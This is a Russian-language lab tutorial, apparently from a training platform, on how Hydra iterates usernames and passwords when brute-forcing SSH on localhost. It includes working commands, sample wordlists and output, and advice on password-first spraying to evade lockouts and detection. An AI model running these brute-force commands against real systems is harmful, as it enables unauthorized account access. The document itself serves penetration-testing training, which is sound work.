Итерация паролей в атаках Hydra

HydraBeginner
Практиковаться сейчас

Введение

В этом лабораторном практикуме вы узнаете, как Hydra перебирает имена пользователей и пароли во время атаки SSH. Вы создадите списки имен пользователей и паролей, а затем запустите стандартную атаку SSH, чтобы наблюдать за стандартным поведением Hydra.

Сначала вы подготовите файлы usernames.txt и passwords.txt, содержащие списки имен пользователей и паролей соответственно. Затем вы выполните базовую атаку Hydra SSH, используя эти списки, чтобы продемонстрировать, как Hydra пытается комбинировать различные значения. Наконец, вы изучите влияние опции -u на порядок, в котором Hydra пытается комбинировать имена пользователей и пароли.

Подготовка списков имен пользователей и паролей

На этом шаге вы создадите два необходимых файла: список имен пользователей и список паролей. Эти списки будут использоваться Hydra для попыток входа в SSH. Создание этих списков позволяет систематически проверять различные комбинации имен пользователей и паролей на вашем целевом сервере.

Сначала откройте терминал. Вы находитесь в каталоге /home/labex/project (также доступном как ~/project). Вы создадите файлы в этом каталоге.

Используйте текстовый редактор nano, чтобы создать файл с именем usernames.txt:

nano ~/project/usernames.txt

Теперь добавьте в файл следующие имена пользователей. Это примеры; вы можете настроить их по своему усмотрению.

root
admin
test
user
ubuntu

После добавления содержимого сохраните файл, нажав Ctrl + O, затем нажмите Enter, чтобы подтвердить имя файла, и, наконец, нажмите Ctrl + X, чтобы выйти из nano.

Далее вы создадите список паролей. Снова используйте nano, чтобы создать файл с именем passwords.txt:

nano ~/project/passwords.txt

Добавьте в файл следующие пароли. Помните, что это всего лишь примеры.

password
123456
qwerty
secret
ubuntu

Сохраните файл, нажав Ctrl + O, затем нажмите Enter, чтобы подтвердить имя файла, и, наконец, нажмите Ctrl + X, чтобы выйти из nano.

Чтобы проверить, что файлы были созданы правильно, вы можете использовать команду cat, чтобы отобразить их содержимое.

Отобразите содержимое usernames.txt:

cat ~/project/usernames.txt

Вы должны увидеть вывод, похожий на этот:

root
admin
test
user
ubuntu

Аналогично, отобразите содержимое passwords.txt:

cat ~/project/passwords.txt

Вы должны увидеть вывод, похожий на этот:

password
123456
qwerty
secret
ubuntu

Эти файлы, usernames.txt и passwords.txt, теперь готовы к использованию с Hydra на последующих шагах.

Запуск стандартной атаки SSH

На этом шаге вы выполните базовую атаку SSH с помощью Hydra, используя списки имен пользователей и паролей, созданные на предыдущем шаге. Это продемонстрирует стандартное поведение Hydra, которое заключается в переборе имен пользователей и паролей.

Базовый синтаксис команды Hydra:

hydra [options] <target> <service> [additional options]
  • hydra: Команда для запуска инструмента Hydra.
  • [options]: Различные параметры для настройки атаки, такие как указание списков имен пользователей и паролей.
  • <target>: IP-адрес или имя хоста целевого SSH-сервера. В этой лабораторной работе вы будете использовать 127.0.0.1 (локальный хост) в качестве цели.
  • <service>: Сервис для атаки (например, ssh, ftp, http). В данном случае это ssh.
  • [additional options]: Параметры, специфичные для сервиса.

Теперь запустите стандартную атаку SSH. Вы будете использовать опцию -L для указания списка имен пользователей, опцию -P для указания списка паролей и опцию -V для отображения подробного вывода, показывающего каждую попытку.

hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Эта команда инструктирует Hydra:

  • -V: Включить режим подробного вывода, чтобы показать каждую попытку входа.
  • -L ~/project/usernames.txt: Использовать файл usernames.txt в каталоге ~/project в качестве списка имен пользователей.
  • -P ~/project/passwords.txt: Использовать файл passwords.txt в каталоге ~/project в качестве списка паролей.
  • 127.0.0.1: Цель — SSH-сервис, работающий на локальном хосте.
  • ssh: Указать, что вы атакуете SSH-сервис.

Выполните команду в своем терминале. Hydra теперь будет пытаться войти в SSH-сервис на 127.0.0.1, используя каждое имя пользователя из usernames.txt и каждый пароль из passwords.txt. По умолчанию Hydra сначала перебирает имена пользователей, пробуя каждый пароль для одного имени пользователя, прежде чем перейти к следующему имени пользователя.

Вывод будет показывать выполняемые попытки. Вы увидите подробную информацию о каждой попытке входа. Поскольку вы используете слабые пароли и нацеливаетесь на локальный хост, возможно, вход будет успешным, но большинство попыток завершатся неудачей.

Вывод будет похож на этот (точный вывод может отличаться):

Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "secret" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "ubuntu" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
...

Обратите внимание, как Hydra сначала пробует все пароли для пользователя "root", затем переходит к "admin" и так далее. Это стандартное поведение.

Запуск с параметром -u для циклического перебора паролей

На этом шаге вы будете использовать опцию -u с Hydra, чтобы изменить порядок, в котором выполняются попытки входа. По умолчанию Hydra сначала перебирает имена пользователей, пробуя все пароли для каждого имени пользователя, прежде чем перейти к следующему. Опция -u меняет это поведение, заставляя Hydra сначала перебирать пароли, пробуя каждый пароль для всех имен пользователей, прежде чем перейти к следующему паролю.

Это может быть полезно в ситуациях, когда вы подозреваете, что один и тот же пароль используется для нескольких учетных записей.

Чтобы использовать опцию -u, просто добавьте её к предыдущей команде Hydra. Вы также будете использовать опцию -V снова, чтобы увидеть подробные попытки.

hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Эта команда инструктирует Hydra:

  • -u: Цикл по паролям в первую очередь.
  • -V: Включить режим подробного вывода, чтобы показать каждую попытку входа.
  • -L ~/project/usernames.txt: Использовать файл usernames.txt в каталоге ~/project в качестве списка имен пользователей.
  • -P ~/project/passwords.txt: Использовать файл passwords.txt в каталоге ~/project в качестве списка паролей.
  • 127.0.0.1: Цель — SSH-сервис, работающий на локальном хосте.
  • ssh: Указать, что вы атакуете SSH-сервис.

Выполните команду в своем терминале. Hydra теперь будет пытаться войти в SSH-сервис на 127.0.0.1. На этот раз он будет пробовать первый пароль из passwords.txt со всеми именами пользователей из usernames.txt, прежде чем перейти к следующему паролю.

Обратите внимание на вывод. Вы должны заметить, что порядок попыток отличается от предыдущего шага. Теперь Hydra будет пробовать один и тот же пароль для нескольких имен пользователей последовательно.

Вывод будет похож на этот (точный вывод может отличаться):

Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "ubuntu" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - X of X [child X] (X/X)
...

Обратите внимание, как Hydra теперь сначала пробует "password" для всех имен пользователей, затем переходит к "123456" для всех имен пользователей и так далее. Это поведение при использовании опции -u.

Сравнивая вывод этой команды с выводом команды на предыдущем шаге, вы можете четко увидеть разницу в порядке попыток входа. Это может быть полезно для понимания работы Hydra и выбора наиболее эффективной стратегии атаки в данной ситуации.

Анализ шаблонов атак и производительности

На этом шаге вы проанализируете практические различия между двумя методами атаки и поймете, когда каждый подход может быть более эффективным. Вы также изучите, как оптимизировать атаки с помощью Hydra в зависимости от различных сценариев.

Понимание стратегических различий

Выбор между стандартным режимом и режимом -u может существенно повлиять на эффективность атаки:

  • Стандартный режим (сначала имя пользователя): Лучше, если вы подозреваете, что у определенных пользователей могут быть слабые пароли.
  • Режим с приоритетом пароля (-u): Лучше, если вы подозреваете, что один и тот же пароль используется для нескольких учетных записей.

Давайте продемонстрируем это с помощью более целенаправленного подхода. Сначала создадим более узкий, ориентированный на тестирование, чтобы четко увидеть разницу:

echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt

Теперь запустите обе атаки с ограниченным выводом, чтобы четко увидеть шаблон:

Стандартная атака (сначала имя пользователя):

hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

Опция -t 1 ограничивает Hydra использованием только одной задачи за раз, что делает последовательность легче отслеживать.

Атака с приоритетом пароля:

hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

Анализ производительности

Теперь давайте проанализируем время и эффективность. Создайте простой тест на время:

echo "Testing default mode timing..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
echo "Testing -u mode timing..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1

Сценарии реального применения

Понимание, когда использовать каждый режим:

  1. Используйте стандартный режим, когда:

    • У вас есть информация о конкретных учетных записях высокой ценности.
    • Вы хотите быстро проверить, имеют ли учетные записи администраторов слабые пароли.
    • Вы нацеливаетесь на небольшое количество привилегированных пользователей.
  2. Используйте режим -u, когда:

    • Вы подозреваете повторное использование паролей для нескольких учетных записей.
    • У вас есть список общих паролей из предыдущих утечек.
    • Вы хотите найти любую учетную запись с общим слабым паролем.

Проверка шаблонов атак

Чтобы четко увидеть разницу в шаблонах атак, давайте создадим простую демонстрацию:

echo "=== Шаблон стандартного режима ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
echo "=== Шаблон режима с приоритетом пароля ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4

Это четко покажет вам:

  • Стандартный режим: admin/password, admin/123456, test/password, test/123456
  • Режим с приоритетом пароля: admin/password, test/password, admin/123456, test/123456

Разница становится критической при работе с политиками блокировки учетных записей или при попытке избежать обнаружения, распределяя попытки между несколькими учетными записями.

Резюме

В этом лабораторном практикуме вы изучили, как подготовить необходимые файлы для атаки Hydra на SSH, создав списки имен пользователей и паролей в каталоге ~/project. Вы выполнили атаки SSH с помощью Hydra с подробным выводом, чтобы наблюдать за деталями попыток атаки и понять поведение итераций Hydra.

Вы изучили ключевую разницу между стандартным режимом Hydra (итерация по именам пользователей в первую очередь) и опцией -u (итерация по паролям в первую очередь). Практическое применение показало:

  • Стандартный режим: Пробует все пароли для каждого имени пользователя, прежде чем перейти к следующему имени пользователя — идеально подходит для атаки на конкретные учетные записи высокой ценности.
  • Режим с приоритетом пароля (-u): Пробует каждый пароль со всеми именами пользователей, прежде чем перейти к следующему паролю — лучше подходит для поиска учетных записей с общими слабыми паролями.

Вы также изучили практические соображения по выбору между этими режимами, включая последствия для производительности и реальные сценарии, в которых каждый подход наиболее эффективен. Это понимание позволяет оптимизировать ваши стратегии пентеста в зависимости от конкретной целевой среды и целей.

Лабораторный практикум продемонстрировал, как различные шаблоны атак могут быть решающими при работе с политиками блокировки учетных записей или при попытке избежать обнаружения, распределяя попытки входа по нескольким учетным записям.